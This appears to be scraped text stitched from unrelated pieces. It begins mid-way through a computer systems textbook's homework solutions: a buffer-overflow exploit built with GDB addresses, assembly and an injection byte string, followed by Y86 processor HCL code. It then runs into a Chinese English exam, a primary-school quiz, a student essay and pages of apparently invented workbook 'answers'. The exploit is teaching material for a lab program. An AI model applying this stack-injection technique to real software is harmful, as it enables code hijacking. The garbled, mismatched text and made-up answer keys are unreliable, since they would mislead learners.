contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。
山东省菏泽外国语学校2024-2025学年高一上学期第一次月考英语试题
山东省菏泽外国语学校2024-2025学年高一上学期第一次月考英语试题一、阅读理解Senior high school is not only just attending classes and attempting to get high grades. You can make the most of the opportunities senior high school offers you to explore your interests and sometimes interact with fellow students in clubs. Here are some introductions of popular clubs.Speech ClubDo you enjoy talking? Do you think you can be a future lawyer? Try out for the school's speech team.Not only will you meet people and make friends, you'll also get to practice public speaking... By talking about political, social, cultural and environmental topics, you will also become more aware of and up-to-date about current events.Band ClubIf you haven’t joined any senior high school club yet, you should! Most senior high school bands give performances, and even go on trips to Disneyland. Not sure? Did I mention that studies show that students with music education tend to receive higher grades? You read it right.Red Cross ClubIf you are interested in the medical field, perhaps you should consider joining your school’s Chinese Red Cross Club. As part of the senior high school club working with the local Red Cross chapter, you can become a lifeguard, learn how to perform first aid, or become a trained instructor who teaches others.Language ClubCan you speak Spanish, French, or German? Or maybe you just really like the foreign language class! Our Spanish, French and German clubs put on several charity and cultural events throughout the academic year. You could be helping others in need, and making new friends all at the same time1．Which club suits you best if you want to become a lawyer?A．Speech Club.B．Band Club.C．Red Cross Club.D．Language Club.2．What is special about Band Club?A．It enables students to become lifeguards.B．It ensures students to know recent news.C．It helps students to improve their scores.D．It perfects students’ public speaking skills.3．What do Red Cross Club and Language Club have in common?A．They train you to know more about first aid.B．They both can give you a trip to Disneyland.C．They let you master several foreign languages.D．They offer you chances to help people in need.Do you still remember what happened when you went to school on the first day? I still remember my interesting first day of school. On that day, I hurried to my science class in the morning and found a seat in the back .I waited there for 15 minutes before the bell rang. The science teacher told us about some class rules. No one talked to me, nor did I talk to anyone else. I was one of those very shy girls. After the science class, I had an English class. I thought it would be boring but it turned out to be very funny. When the classes of the morning ended, I went to lunch. I sat outside the dining room with no one to talk to and no food because I was too nervous to join the lunch line. I kept looking around hoping to see someone I knew but I never saw anyone.Lunch ended and I went to have my art class. I was the first one there and not even my teacher was there yet. So I sat at my desk and started drawing some pictures. I didn’t notice the rest of the class walking in or the girl who was standing behind me till I was surprised by the voice, "So what are you drawing?" It was a girl who had really long hair. She ended up being my best friend and one of the kindest and liveliest girls I knew.In the next class meeting, the teacher asked us to talk about the past holiday. I was glad to make some new friends in the class. The first day of high school was hard for me but I got through it.4．What do we know about the writer’s science class?A．She was 15 minutes late for it. B．She made some new friends.C．She learned some class rules.D．She sat in the front row.5．According to the writer, the English class was _____.A．boring B．useful C．hard D．interesting6．The writer had no lunch because she ______.A．was afraid to stand in line B．forgot the lunchtimeC．wasn't hungry D．didn't like the dining room7．In the art class, the writer _____.A．met someone she knew before B．talked about her past holidayC．got to know a lively girl D．drew some pictures about her classTeenagers in England do much the same as children in America do. They enjoy sending messages by their mobile phones and they also like swimming, listening to the latest music, watching TV and surfing the Internet.How do teenagers in England spend their free time and holidays? Let’s follow Sally, a British teenager, and spend five days with her during her school holiday.Day OneAfter breakfast, Sally’s mother went out and left her alone at home. She checked her mobile phone during lunch—one of her friends sent her a message early in the morning. Dinner was at 6:30 pm. After that, she finished her English homework. Then she surfed the Internet.Day TwoSally and her mother paid a visit to their friends and went swimming together. Later, they went shopping for clothes and books, and had dinner in a restaurant.Day ThreeShe went to the supermarket with her mother to buy fish and chips for lunch as well as some pens. After she got back home, she spent the next few hours surfing the Internet and watching TV.Day FourShe surfed the Internet. Her mother took her out for lunch before she went to work. Shethen read stories after lunch.Day FiveShe woke up at 2 pm, and so did her mother. They went to a park. Her mother met some friends there. When they got home, it was already time for dinner. Afterwards, she did her homework until 10 pm.8．When did Sally do her homework?A．In the morning.B．In the afternoon.C．At lunch time.D．In the evening.9．Sally and her mother went shopping for the second time to buy .A．food for lunch and pens B．some books and pensC．some fish and clothes D．food and books10．Which of the following things did Sally do on Day Four?A．She went swimming.B．She went out for breakfast.C．She read books.D．She went shopping.11．According to the passage, it can be inferred that .A．surfing the Internet has become an important part of teenagers’ livesB．parents shouldn’t leave teenagers alone at homeC．teenagers don’t usually do their homework during their school holidaysD．a park is the best place to meet a friendThis is a tale of two friends, Jia Haixia and Jia Wenqi-one is blind; the other has no arms. On their own, the two are“disabled(残疾的)". But together, they are a powerful team that has changed part of their village into a rich, green forest.Their story began in 2000, when Haixia, who was already blind in his right eye, lost his left one after an illness. Wenqi lost his arms in an accident when he was just three. Neither could find a job, so the two decided to team up. They rented some poor land and began to plant trees. In return, the local officials paid them a small fee(费用). Haixia and Wenqi never imagined that they would end up creating an environmental paradise (乐园).Their forest now has over 10,000 trees, hundreds of birds and many other wild animals. In addition, it saves the village from river flooding during the rainy season. When the friends work together, they focus on their strengths not their disabilities. Their day begins at 7 a.m. when the blind Haixia carries Wenqi across the river to get to their worksite.Since they cannot afford to buy young trees to plant, the two use branches from existing (现存的) trees. Haixia climbs to the treetop and with Wenqi's direction, selects the perfect branch. He then digs a hole and carefully plants it. Finally Wenqi waters the area.Though hard-working, the men don't make much money. But as Wenqi puts it,“We stand on our own feet so the fruits of our work taste sweeter."Neither Haixia nor Wenqi cares about money.Together.hey already have everything they need—a perfect pair of eyes, two strong hands, and the best friendship in the world!12．Why did Haixia and Wenqi start working together?A．Haixia needed someone to help him.B．They both needed a way to make money.C．They wanted to improve the environment.D．They were required to do so by local officials.13．Haixia and Wenqi's forest has helped the village by________.A．stopping floods in the rainy season B．increasing the number of touristsC．making the villagers richer D．providing more farmland14．Why do Haixia and Wenqi plant tree branches?A．They are easy to get.B．They do not cost money.C．They can grow very quickly.D．They are preferred by animals.15．In Paragraph 5,when Wenqi says “We stand on our own feet, so the fruits of our work taste sweeter.",he means that________.A．they hope to make the forest even betterB．the fruits from their trees are very sweetC．they are proud not to depend on othersD．they are able to do any difficult work二、完形填空My parents gave me a cell phone as my birthday present. They said, “We got you this because you are doing well in school. We expect you to keep getting good 16 .” Of course I will! I said excitedly.As soon as I got to school the next morning I asked everyone for their 17 . It was cool that I got so many contacts(联系人), I wouldn’t 18 the teachers because I was too busy on my phone. 19 , I didn’t get caught using it.A week later we took a test and I failed. To make matters worse, my mom had to 20 the test. It was 21 to show my mom the test. Well eventually I showed her and she was angry but most of all, she was 22 . Seeing her like that made me feel 23 .Weeks passed and my dad started to 24 the fact that I had a phone. We would argue every day about why phones are bad for us.I started to wonder what was 25 . A week later I tried going a whole day without a cell phone and it didn’t go that 26 . That day I had so much 27 because I spent time with my family 28 . From that day, I had a(n) 29 point of view towards cell phones.I will keep using my phone but I have it under 30 now so that it doesn’t interfere with(干扰)my real life.16．A．gifts B．friends C．teachers D．grades 17．A．wishes B．addresses C．numbers D．names 18．A．put up with B．pay attention to C．get along with D．stand up for 19．A．Luckily B．Finally C．Globally D．Equally 20．A．return B．formal C．sign D．take 21．A．strange B．unique C．curious D．hard 22．A．ashamed B．disappointed C．sensitive D．positive 23．A．tired B．determined C．terrible D．surprised 24．A．dislike B．recognize C．check D．misunderstand 25．A．wrong B．classic C．busy D．free 26．A．obviously B．badly C．quickly D．secretly 27．A．wisdom B．courage C．fun D．work28．A．actually B．anxiously C．formally D．fluently 29．A．interesting B．confusing C．official D．different 30．A．control B．guarantee C．consideration D．pressure三、语法填空阅读下面短文，在空白处填入1 个适当的单词或括号内单词的正确形式。
小学上册第12次英语第6单元期末试卷
小学上册英语第6单元期末试卷英语试题一、综合题(本题有100小题，每小题1分，共100分.每小题不选、错误，均不给分)1.Our teacher taught us about the ________ (大陆).2.The girl loves to ________.3.We play _____ (soccer) on Sundays.4.What do we call the liquid that falls from the sky?A. SnowB. RainC. HailD. SleetB Rain5.Some animals are ______, meaning they eat mostly plants.6.The Earth's interior is made up of solid and ______ materials.7. A __________ uses echolocation to navigate.8.What do we call a scientific test?A. ExperimentB. ObservationC. AnalysisD. TheoryA9.What do we call the traditional Japanese theater?A. KabukiB. NohC. BunrakuD. All of the aboveD10.The first successful heart transplant was performed by ________ (克里斯托弗·里德).11.Which month comes after January?A. MarchB. FebruaryC. AprilD. May12. A solution can be made more concentrated by adding more ______.13.The children are _____ in the classroom. (talking)14.During the summer, I like to go to the _______ (地方) and swim in the _______ (水体).15.What is the name of the famous statue in New York Harbor?A. Christ the RedeemerB. DavidC. Statue of LibertyD. Venus de MiloC16.Who is known for writing plays and stories?A. PainterB. AuthorC. ScientistD. Musician17.What do you call the first page of a book?A. CoverB. Title pageC. IndexD. ChapterB18.The _______ (Constitution) is the supreme law of the United States.19.The chemical symbol for arsenic is ______.20.They are _____ (eating) pizza.21.The capital of Cuba is ________ (哈瓦那).22.The teacher gives us _____ for homework. (assignments)23.What is the value of 9 + 10?A. 18B. 19C. 20D. 2124.The process of a liquid turning into a gas is called _____.25.What do we call the process of changing from a solid to a liquid?A. FreezingB. MeltingC. EvaporatingD. Boiling26.The chemical symbol for tin is ______.27.What is the name of the famous American singer known for "Toxic"?A. Britney SpearsB. Christina AguileraC. Jennifer LopezD. Mariah CareyA28.What fruit is yellow and curved?A. AppleB. BananaC. GrapeD. Orange29.What is the main language spoken in the United States?A. SpanishB. FrenchC. ChineseD. EnglishD30.Mushrooms are a type of ______ (真菌), not a plant.31.Which animal is large and has a trunk?A. LionB. TigerC. ElephantD. BearC32.His favorite game is ________.33. A mixture of metals is known as an _____.34.I can find inspiration in my ________ (玩具名称).35.The chemical formula for iron(III) chloride is ______.36.The chemical symbol for strontium is ______.37.The capital of Bangladesh is _______.38.My grandma is very good at ____.39.The weather is _______ (非常凉爽).40. A _______ (小角马) runs swiftly across the plains.41.What do you call the place where you go to borrow books?A. BankB. LibraryC. SchoolD. ParkB42.The cookies are fresh and ___ (crispy/soft).43. A _______ (金鱼) can be a vibrant addition to any home.44.I can combine different ________ (玩具类型) to create something new.45.The capital of Estonia is __________.46.What is the name of the famous American singer known for her powerful voice?A. Whitney HoustonB. Aretha FranklinC. Mariah CareyD. AdeleB47.What do we call a story told in song?A. PoemB. BalladC. NovelD. Essay48.The ______ (根茎的生长) supports nutrient uptake.49.I enjoy reading ________ (故事书) before bedtime.50.What do you call a baby rabbit?A. KitB. PupC. CalfD. Cub51. A skunk's spray can deter larger ________________ (捕食者).52.When I want to be polite, I use the term ______ for adults. (当我想要礼貌时，我会对成年人使用术语。
英语作文说出自己工作安排
As a high school student, the concept of a work schedule might seem a bit premature, but in reality, Ive been juggling a variety of tasks and responsibilities that could be likened to a job. My days are filled with a mix of academic pursuits, extracurricular activities, and personal interests, all of which require careful planning and time management.My day typically starts early, around 6:30 AM, when I wake up to the sound of my alarm. After a quick shower and breakfast, Im out the door by 7:15 AM to catch the school bus. The bus ride is a short one, but its a time I use to review notes or read a chapter from a book for my literature class.Once I arrive at school, my first class begins at 8:00 AM. The morning is packed with a variety of subjects, from math to history, each demanding my full attention. During the short breaks between classes, I try to catch up on homework or discuss any upcoming projects with my classmates.Lunchtime is a brief respite from the academic rigor. I usually spend this hour with my friends, discussing everything from schoolwork to our favorite TV shows. Its a muchneeded social break that helps me recharge for the afternoon classes.After school, I have a parttime job at a local bookstore, which I started to earn some extra money and gain some realworld experience. My shift starts at 3:30 PM and ends at 6:00 PM. Working at the bookstore has taught me a lot about customer service and responsibility. Its also a place where I get to indulge in my love for reading, surrounded by books of all genres.When I get home from work, its time to tackle my homework. This is usually the most challenging part of my day, as I have to balance the workload from multiple subjects. I try to allocate time for each subject, starting with the most difficult or timeconsuming tasks first. By 8:00 PM, I usually take a short break to have dinner with my family, which is a great opportunity to share the days experiences and unwind.Postdinner, I get back to my studies, often working until around 10:00 PM. This is when I focus on assignments that require more concentration, like writing essays or solving complex problems. I also use this time to prepare for the next days classes, reviewing the material that will be covered.Before I call it a night, I dedicate some time to my hobbies. Im passionate about photography, and I love capturing the beauty of everyday life through my lens. This creative outlet helps me relax and express myself in a different way.Finally, around 11:00 PM, I wind down with a book or some light reading before heading to bed. A good nights sleep is essential for me to be ready for the next days challenges.Balancing school, work, and personal interests is not easy, but its a skill Im continuously developing. Its taught me the importance of time management, prioritization, and the value of a wellrounded life. While my schedule may seem hectic, its a reflection of my commitment to learning and personal growth.。
课时提优计划作业本英语八年级下册答案
课时提优计划作业本英语八年级下册答案全文共10篇示例，供读者参考篇1Hi everyone! Today I'm going to share with you the answers to the workbook of the English textbook for Grade 8. Are you ready? Let's go!Unit 11. Choose the correct words to complete the sentences:1) 1. autumn2) 2. heavy3) 3. reef4) 4. delighted5) 5. remote2. Fill in the blanks with the correct form of the words:1) carefully2) knowledge3) successful4) powerful5) lucky3. Complete the sentences with the correct words:1) though2) rather3) However4) which5) becauseUnit 21. Choose the correct words to complete the sentences:1) 1. discussed2) 2. boast3) 3. layers4) 4. installed5) 5. reverse2. Fill in the blanks with the correct form of the words: 1) whispered2) joyful3) peaceful4) wisely5) humorous3. Complete the sentences with the correct words:1) since2) than3) As4) so5) becauseUnit 31. Choose the correct words to complete the sentences:1) 1. consequences2) 2. restore3) 3. pollution4) 4. rare5) 5. decrease2. Fill in the blanks with the correct form of the words:1) destroy2) recreation3) immediately4) waterproof5) kindness3. Complete the sentences with the correct words:1) and2) If3) while4) or5) unlessI hope these answers help you in completing your workbook. Keep up the good work and study hard! Good luck!篇2Hey guys, have you ever wondered if there's an answer key for the English workbook in our Class? If you want to know the answers to all the questions in the eighth grade Englishworkbook, you're in luck! I've got the answer key right here for you.For the first unit, which is about hobbies, the answers are: 1. reading books, 2. playing soccer, 3. watching movies, 4. listening to music, 5. painting pictures.In the second unit, which is about travel plans, the answers are: 1. sightseeing, 2. beach vacation, 3. camping trip, 4. city tour, 5. mountain climbing.In the third unit, which is about environmental protection, the answers are: 1. recycling paper, 2. saving water, 3. planting trees, 4. reducing plastic use, 5. using public transportation.In the fourth unit, which is about technology, the answers are: 1. smartphones, 2. social media, 3. video games, 4. online shopping, 5. streaming movies.I hope this helps you guys with your homework! Remember, it's important to study hard and do your best in class. Good luck with your English studies, and don't forget to have fun while learning!篇3Oh my goodness, the English homework for the eighth grade is super hard! But don't worry, I've got all the answers right here in my homework book. Let's go through them together!1. Multiple Choice:a) Bb) Dc) Ad) Ce) B2. Fill in the blanks:1. beach2. delicious3. concert4. expensive5. dictionary3. True or False:1. True2. False3. True4. False5. True4. Matching:1. language - B2. schedule - E3. introduce - A4. compare - C5. remind - D5. Short answer:1. What is the main idea of the passage?The main idea of the passage is to show the importance of learning a second language.2. Give two examples of how learning a second language can benefit you.Learning a second language can help you communicate with people from different cultures and can also improve your cognitive abilities.Don't forget to review these answers before your next English class. And remember, practice makes perfect! Keep working hard and you'll be a pro in no time. Good luck!篇4Oh my goodness, this is gonna be a looong article! But don't worry, I'll make it fun and easy to read, just like how we talk in class! Here we go!Chapter 1: Unit 11. A2. B3. C4. A5. BChapter 2: Unit 21. They are going to have a picnic2. In the park3. Because it's sunny and warm4. Yes, they are5. She's going to bring sandwichesChapter 3: Unit 31. A2. C3. B4. A5. BChapter 4: Unit 41. The movie starts at 7 p.m.2. Yes, she does3. He's going to meet his friends at the cinema4. No, he isn't5. They're going to have popcorn and drinks Chapter 5: Unit 51. A2. C3. B4. A5. BChapter 6: Unit 61. Yes, he does2. She's going to read a book3. It's about a girl who goes on an adventure4. No, he isn't5. She thinks it sounds excitingWow, that was a lot of answers! But don't forget, it's not just about getting the answers right, it's also important to understand why those are the correct answers. Keep studying and learning, and you'll do great! Good luck, my fellow students! Let's ace this!篇5Title: My Awesome Homework Book Answers for English Grade 8Hey guys! Today I want to share with you all the answers to the homework book for English Grade 8. I know sometimes it canbe tricky to find the right answers, but don't worry, I've got you covered. Let's dive right in!Unit 1: Family and Friends1. Matching:a) grandmotherb) nephewc) cousind) niecee) siblings2. Fill in the blanks:a) best friendb) only childc) twinsd) relativese) stepmother3. True or False:a) Trueb) Falsec) Trued) Falsee) TrueUnit 2: Holidays and Traditions1. Multiple Choice:a) Christmasb) New Year’s Evec) Diwalid) Hanukkahe) Thanksgiving2. Complete the sentences:a) Chineseb) Valentine's Dayc) Easterd) Tomb Sweeping Daye) Halloweena) fireworksb) presentsc) costumesd) lanternse) partiesUnit 3: School Life1. True or False:a) Trueb) Falsec) Trued) Truee) False2. Fill in the blanks:a) scheduleb) textbooksc) extracurriculare) playground3. Short Answer:a) 15b) science clubc) twice a weekd) Ms. Smithe) history classThat’s it for now, guys! I hope these answers help you with your homework. Keep up the good work and remember, studying is important but having fun is too. See you next time!篇6Hey guys! Today I want to share with you the answers to the homework in our English workbook for the 8th grade. It's called "Lesson Improvement Plan Homework Book". So let's get started!1. Multiple Choice:a) The correct answer is B.b) The correct answer is A.c) The correct answer is C.2. Fill in the blanks:a) My favorite subject is English.b) I usually study for about two hours every day.c) We have a test next Monday.d) My teacher is very nice and helpful.e) I want to improve my speaking skills.3. True or False:a) Trueb) Falsec) Trued) Truee) False4. Writing:- 